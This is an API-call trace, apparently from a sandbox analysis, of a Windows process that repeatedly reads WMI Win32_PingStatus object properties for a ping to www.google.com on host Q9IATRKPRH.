[0142.225] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.226] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249aac0*=0, plFlavor=0x249aac4*=0 | out: pVal=0x59ee858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249aac0*=8, plFlavor=0x249aac4*=64) returned 0x0 [0142.226] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DYNASTY", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249aae8*=0, plFlavor=0x249aaec*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x249aae8*=8, plFlavor=0x249aaec*=64) returned 0x0 [0142.226] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.226] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.226] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__RELPATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249ab40*=0, plFlavor=0x249ab44*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x249ab40*=8, plFlavor=0x249ab44*=64) returned 0x0 [0142.226] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.226] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.226] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249ad1c*=0, plFlavor=0x249ad20*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x249ad1c*=3, plFlavor=0x249ad20*=64) returned 0x0 [0142.226] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DERIVATION", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249ad50*=0, plFlavor=0x249ad54*=0 | out: pVal=0x59ee858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507540*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x249ad50*=8200, plFlavor=0x249ad54*=64) returned 0x0 [0142.227] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SERVER", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249ad84*=0, plFlavor=0x249ad88*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x249ad84*=8, plFlavor=0x249ad88*=64) returned 0x0 [0142.227] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.227] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.227] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0142.227] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0142.227] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.227] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0142.227] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0142.227] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.227] IWbemClassObject:GetNames (in: This=0x4f480a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee890 | out: pNames=0x59ee890*="\x01ƀ\x04") returned 0x0 [0142.227] SafeArrayGetDim (psa=0x507510) returned 0x1 [0142.227] SafeArrayGetDim (psa=0x507510) returned 0x1 [0142.227] SafeArrayGetLBound (in: psa=0x507510, nDim=0x1, plLbound=0x59ee728 | out: plLbound=0x59ee728) returned 0x0 [0142.227] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.228] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.228] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.228] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.228] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.228] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.228] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.228] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.228] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.228] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.228] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.228] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.228] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.228] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.228] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.228] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.228] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.228] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.228] SysStringByteLen (bstr="__PATH") returned 0xc [0142.228] SysStringByteLen (bstr="__PATH") returned 0xc [0142.228] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__GENUS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249b164*=0, plFlavor=0x249b168*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x249b164*=3, plFlavor=0x249b168*=64) returned 0x0 [0142.229] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249b198*=0, plFlavor=0x249b19c*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x249b198*=8, plFlavor=0x249b19c*=64) returned 0x0 [0142.229] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.229] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.229] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249b1f0*=0, plFlavor=0x249b1f4*=0 | out: pVal=0x59ee88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249b1f0*=8, plFlavor=0x249b1f4*=64) returned 0x0 [0142.229] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DYNASTY", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249b218*=0, plFlavor=0x249b21c*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x249b218*=8, plFlavor=0x249b21c*=64) returned 0x0 [0142.229] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.229] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.301] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__RELPATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249b270*=0, plFlavor=0x249b274*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x249b270*=8, plFlavor=0x249b274*=64) returned 0x0 [0142.302] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.302] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.303] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249b44c*=0, plFlavor=0x249b450*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x249b44c*=3, plFlavor=0x249b450*=64) returned 0x0 [0142.304] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DERIVATION", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249b480*=0, plFlavor=0x249b484*=0 | out: pVal=0x59ee88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5075d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x249b480*=8200, plFlavor=0x249b484*=64) returned 0x0 [0142.307] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SERVER", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249b4b4*=0, plFlavor=0x249b4b8*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x249b4b4*=8, plFlavor=0x249b4b8*=64) returned 0x0 [0142.346] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.346] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.346] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SERVER", lFlags=0, pVal=0x59ee980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249b4b4*=8, plFlavor=0x249b4b8*=64 | out: pVal=0x59ee980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x249b4b4*=8, plFlavor=0x249b4b8*=64) returned 0x0 [0142.346] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.346] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.346] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0142.347] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0142.347] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.347] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee860 | out: puCount=0x59ee860*=0x2) returned 0x0 [0142.347] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee85c*=0xf, pszText=0x0) returned 0x0 [0142.347] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.347] IWbemClassObject:GetNames (in: This=0x4f480a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee85c | out: pNames=0x59ee85c*="\x01ƀ\x04") returned 0x0 [0142.347] SafeArrayGetDim (psa=0x507540) returned 0x1 [0142.347] SafeArrayGetDim (psa=0x507540) returned 0x1 [0142.347] SafeArrayGetLBound (in: psa=0x507540, nDim=0x1, plLbound=0x59ee6f4 | out: plLbound=0x59ee6f4) returned 0x0 [0142.347] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.347] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.347] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.347] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.347] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.347] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.347] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.347] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.347] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.348] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.348] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.348] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.348] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.348] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.348] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.348] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.348] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.348] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.348] SysStringByteLen (bstr="__PATH") returned 0xc [0142.348] SysStringByteLen (bstr="__PATH") returned 0xc [0142.348] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__GENUS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249b9d4*=0, plFlavor=0x249b9d8*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x249b9d4*=3, plFlavor=0x249b9d8*=64) returned 0x0 [0142.348] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249ba08*=0, plFlavor=0x249ba0c*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x249ba08*=8, plFlavor=0x249ba0c*=64) returned 0x0 [0142.348] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.348] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.348] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249ba60*=0, plFlavor=0x249ba64*=0 | out: pVal=0x59ee858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249ba60*=8, plFlavor=0x249ba64*=64) returned 0x0 [0142.349] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DYNASTY", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249ba88*=0, plFlavor=0x249ba8c*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x249ba88*=8, plFlavor=0x249ba8c*=64) returned 0x0 [0142.349] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.349] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.349] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__RELPATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249bae0*=0, plFlavor=0x249bae4*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x249bae0*=8, plFlavor=0x249bae4*=64) returned 0x0 [0142.349] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.349] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.349] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249bcbc*=0, plFlavor=0x249bcc0*=0 | out: pVal=0x59ee858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x249bcbc*=3, plFlavor=0x249bcc0*=64) returned 0x0 [0142.349] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DERIVATION", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249bcf0*=0, plFlavor=0x249bcf4*=0 | out: pVal=0x59ee858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507570*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x249bcf0*=8200, plFlavor=0x249bcf4*=64) returned 0x0 [0142.349] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SERVER", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249bd24*=0, plFlavor=0x249bd28*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x249bd24*=8, plFlavor=0x249bd28*=64) returned 0x0 [0142.349] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.349] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.350] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249bd70*=0, plFlavor=0x249bd74*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x249bd70*=8, plFlavor=0x249bd74*=64) returned 0x0 [0142.350] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.350] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.350] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249bdbc*=0, plFlavor=0x249bdc0*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x249bdbc*=8, plFlavor=0x249bdc0*=64) returned 0x0 [0142.350] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.350] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.350] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee89c | out: puCount=0x59ee89c*=0x2) returned 0x0 [0142.350] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0x0, pszText=0x0 | out: puBuffLength=0x59ee898*=0xf, pszText=0x0) returned 0x0 [0142.350] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.350] IWbemClassObject:Get (in: This=0x4f480a0, wszName="Address", lFlags=0, pVal=0x59ee898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249bff4*=0, plFlavor=0x249bff8*=0 | out: pVal=0x59ee898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x249bff4*=8, plFlavor=0x249bff8*=0) returned 0x0 [0142.350] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.350] SysStringByteLen (bstr="www.google.com") returned 0x1c [0142.350] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0142.350] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0142.350] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.350] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0142.350] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0142.350] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.350] IWbemClassObject:GetNames (in: This=0x4f480a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee890 | out: pNames=0x59ee890*="\x01ƀ\x04") returned 0x0 [0142.350] SafeArrayGetDim (psa=0x5075d0) returned 0x1 [0142.350] SafeArrayGetDim (psa=0x5075d0) returned 0x1 [0142.350] SafeArrayGetLBound (in: psa=0x5075d0, nDim=0x1, plLbound=0x59ee728 | out: plLbound=0x59ee728) returned 0x0 [0142.351] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.351] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.351] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.351] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.351] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.351] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.351] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.351] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.351] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.351] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.351] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.351] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.351] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.351] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.351] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.351] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.351] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.351] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.351] SysStringByteLen (bstr="__PATH") returned 0xc [0142.351] SysStringByteLen (bstr="__PATH") returned 0xc [0142.352] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__GENUS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249c3c8*=0, plFlavor=0x249c3cc*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x249c3c8*=3, plFlavor=0x249c3cc*=64) returned 0x0 [0142.352] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x249c3fc*=0, plFlavor=0x249c400*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x249c3fc*=8, plFlavor=0x249c400*=64) returned 0x0 